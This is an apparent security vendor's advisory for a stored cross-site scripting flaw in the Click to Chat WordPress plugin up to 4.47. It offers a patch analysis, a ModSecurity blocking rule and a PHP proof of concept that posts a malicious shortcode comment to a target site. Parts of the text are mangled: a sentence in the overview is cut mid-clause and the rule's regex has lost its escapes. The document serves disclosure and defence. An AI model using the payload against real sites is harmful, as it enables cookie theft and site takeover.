Published : December 4, 2026

CVE-2026-137047: Click to Chat <= 4.47 Unauthenticated Stored Cross-Site Scripting via 'position' Shortcode Attribute PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 4.47
Patched Version 4.48
Disclosed December 3, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137047: This is an unauthenticated (under specific, uncommon site conditions) and authenticated (Contributor+) stored cross-site scripting vulnerability in the Click to Chat plugin (versions do_shortcode to expand shortcodes in rendered comment text. An unauthenticated attacker can post a comment containing the malicious shortcode (e.g., [ht-ctc-chat position=” onmouseover=”alert(document.cookie)” ]) if comments are auto-published (comment_moderation=0 and either comment_previously_approved=0 or a prior approved comment from the same identity). Otherwise, an attacker with Contributor-level access can insert the shortcode into a post they create, and upon publication (or preview), the script executes for any visitor. The attack vector is a crafted comment or post containing the shortcode with a malicious ‘position’ value.

The patch (v4.48) addresses the vulnerability by removing the legacy interface entirely. The diff shows that HT_CTC_Switch::to_switch() now forces HT_CTC_IS_NEW to ‘yes’ for all sites, eliminating the legacy code path that was vulnerable. Additionally, the patch removes the legacy admin files (e.g., new/admin/admin.php, admin-device-settings.php, admin-show-hide.php) that contained the vulnerable shortcode handling. By unifying all sites on the new interface, the ‘position’ attribute is no longer processed in an insecure manner, effectively mitigating the XSS. Sites on the legacy interface are migrated once via HT_CTC_Legacy_Migration::legacy_interface_update(). The patch also bumps the version to 4.48.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the browser of any user viewing the injected page, including administrators. This can lead to session hijacking, theft of sensitive data (cookies, nonces), defacement, or redirection to malicious sites. In a WordPress context, stored XSS can be leveraged to create malicious admin users, install plugins, or achieve remote code execution by exploiting the admin’s privileges. The impact is severe given the potential for full site compromise.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:2026137047,phase:2,deny,status:403,chain,msg:'CVE-2026-137047 via Click to Chat shortcode position XSS',severity:'CRITICAL',tag:'CVE-2026-137047'"
  SecRule ARGS_POST:comment "@rx [ht-ctc-chat[^]]*positions*=s*[^]]*(on[a-z]+s*=|<|>|&)" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137047 - Click to Chat <= 4.47 - Unauthenticated Stored Cross-Site Scripting via 'position' Shortcode Attribute

// This PoC demonstrates the vulnerability by posting a comment containing a malicious shortcode.
// Prerequisites: The target site must have the legacy interface active (HT_CTC_IS_NEW='no'),
// a published post containing a core Comments block inside its post_content,
// and comments must be auto-published (comment_moderation=0 and comment_previously_approved=0 or prior approved comment).

$target_url = 'http://example.com'; // Change to the target WordPress site URL
$post_id = 1; // ID of the post that contains the Comments block

// Malicious shortcode payload: breaks out of the position attribute and injects JavaScript
$payload = '[ht-ctc-chat position=" onmouseover="alert(document.cookie)" ]';

// Prepare the comment data
$comment_data = array(
    'comment_post_ID' => $post_id,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'comment' => $payload,
    'comment_parent' => 0,
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if the comment was posted successfully (HTTP 302 redirect typically)
if ($http_code == 302) {
    echo "Comment posted successfully. The payload will execute when the page is viewed.n";
} else {
    echo "Failed to post comment. HTTP code: $http_coden";
    echo "Response: $responsen";
}

// To trigger the XSS, visit the post URL: $target_url/?p=$post_id
// The injected JavaScript will execute when the shortcode is rendered in the comment.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.